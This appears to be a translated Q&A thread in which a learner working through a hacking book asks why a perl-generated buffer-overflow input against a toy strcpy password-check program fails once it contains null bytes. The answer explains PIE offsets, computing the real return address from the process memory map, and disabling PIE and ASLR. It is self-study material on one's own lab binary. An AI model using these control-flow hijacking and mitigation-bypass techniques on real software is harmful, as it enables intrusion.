我正在关注一本有关黑客攻击的书,目前正在研究缓冲区溢出。我的
silly_password.c
程序采用命令行参数,该参数溢出到函数的返回地址中。我已经能够用任意值填充返回地址。例如,./silly_password.c AAAAAAAAAAAAAAAAAAAAAAA
用 0x41414141
填充返回地址,因为 0x41
是字母 A 的 ASCII 编码。
我想用
0x00001292
填充返回地址,因为这是我想要恶意执行的程序中特定指令的地址。调用 gdb -q --args silly_password $(perl -e 'print "\x92\x12" x 20;')
有效地用 0x12921292
填充堆栈中的寄存器,这接近我想要的值 0x00001292
。
─── Variables ───────────────────────────────────────────────────────────────────────────────
arg password = 0x7fffffffe0b7 "\222\022\222\022\222\022\222\022\222\022\222\022\222\022\222\022\222\022\222\022\222…
loc password_buffer = "\222\022\222\022\222\022\222\022\222\022\222\022\222\022\222\022", auth_flag = 0
─────────────────────────────────────────────────────────────────────────────────────────────
>>> x/32xw $sp
0x7fffffffdb60: 0x00000000 0x00000000 0xffffe0b7 0x00007fff
0x7fffffffdb70: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdb80: 0x12921292 0x12921292 0x12921292 0x12921292
0x7fffffffdb90: 0x12921292 0x12921292 0x12921292 0x12921292
0x7fffffffdba0: 0x12921292 0x12921292 0xf7ffda00 0x00000002
0x7fffffffdbb0: 0x00000002 0x00000000 0xf7c23a90 0x00007fff
0x7fffffffdbc0: 0xffffdcb0 0x00007fff 0x5555523a 0x00005555
0x7fffffffdbd0: 0x55554040 0x00000002 0xffffdcc8 0x00007fff
我们看到密码缓冲区实际上已经溢出。但是,如果我尝试添加必要的零,请运行 gdb
gdb -q --args silly_password $(perl -e 'print "\x92\x12\x00\x00" x 20;')
我的堆栈如下所示:
─── Variables ───────────────────────────────────────────────────────────────────────────────
arg password = 0x7fffffffda9f "\222\022": -110 '\222'
loc password_buffer = "\222\022", '\000' <repeats 13 times>, auth_flag = 0
─────────────────────────────────────────────────────────────────────────────────────────────
>>> x/32xw $sp
0x7fffffffbc40: 0x00000000 0x00000000 0xffffda9f 0x00007fff
0x7fffffffbc50: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffbc60: 0x00001292 0x00000000 0x00000000 0x00000000
0x7fffffffbc70: 0xffffbc90 0x00007fff 0x5555528e 0x00005555
0x7fffffffbc80: 0xffffbda8 0x00007fff 0xf7ffdab0 0x00000322
0x7fffffffbc90: 0x00000322 0x00000000 0xf7c23a90 0x00007fff
0x7fffffffbca0: 0xffffbd90 0x00007fff 0x5555523a 0x00005555
0x7fffffffbcb0: 0x55554040 0x00000322 0xffffbda8 0x00007fff
现在一点也不溢出了!
为什么我的第一个命令(仅带有
\x92\x12
的命令)有效地产生溢出,而后者却没有?我怎样才能产生第一个堆栈中所示的溢出,但用正确的值 0x00001292
填充寄存器?
供参考,代码的相关部分是:
int check_authentication(char *password) {
char password_buffer[16];
volatile int auth_flag = 0;
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag; # THIS IS THE LINE BREAK OF THE STACKS SHOWED ABOVE
}
您绝对不想要
0x00001292
。这不是一个有效的地址。看起来这就是您想要的值,但这只是因为您正在(静态)查看位置独立可执行文件(PIE),它没有固定的基址,并且将由操作系统随机定位在内存中。看起来二进制文件本身有基地址 0x0
或者 .text
从 0x1000
开始,但这只是一个偏移量。另请参阅:为什么我的 ELF 二进制文件中 LOAD 段的 VirtAddr 显示为 0x0000000000000000?
您有两个选择:
将您的程序重新编译为非 PIE。您可以通过将
-no-pie -fno-pie
添加到 GCC 命令行来完成此操作。然后,验证新地址是否没有以前那么低。期待类似 0x401292
或任何高于 0x10000
的东西。
继续使用已有的 PIE 程序,但先在 GDB 下启动它并查看内存映射:
gdb -q silly_password
(gdb) start AAAAAAAA...
...
(gdb) info inferior
Num Description Executable
* 1 process 11107 ./silly_password
(gdb) !cat /proc/11107/maps
555555554000-555555558000 r--p 00000000 103:05 1443328 ./silly_password <=== base
555555558000-55555556b000 r-xp 00004000 103:05 1443328 ./silly_password <=== .text
55555556b000-555555574000 r--p 00017000 103:05 1443328 ./silly_password
555555575000-555555576000 r--p 00020000 103:05 1443328 ./silly_password
555555576000-555555577000 rw-p 00021000 103:05 1443328 ./silly_password
...
取底数(在上面的示例中为
0x555555554000
)并将其与您拥有的偏移量相加:0x555555554000 + 0x1292 == 0x555555555292
。这就是你想要的地址。
我会推荐第一个选项,因为它处理起来要简单得多。使用第二个选项,如果您在没有 GDB 的情况下运行程序,操作系统每次都会将其映射到随机地址。如果您不希望地址不断更改,则必须在本地禁用 ASLR。您可以使用
setarch $(uname -m) -R /bin/bash
或其他方式启动一个新 shell(只需谷歌“如何禁用 ASLR”)。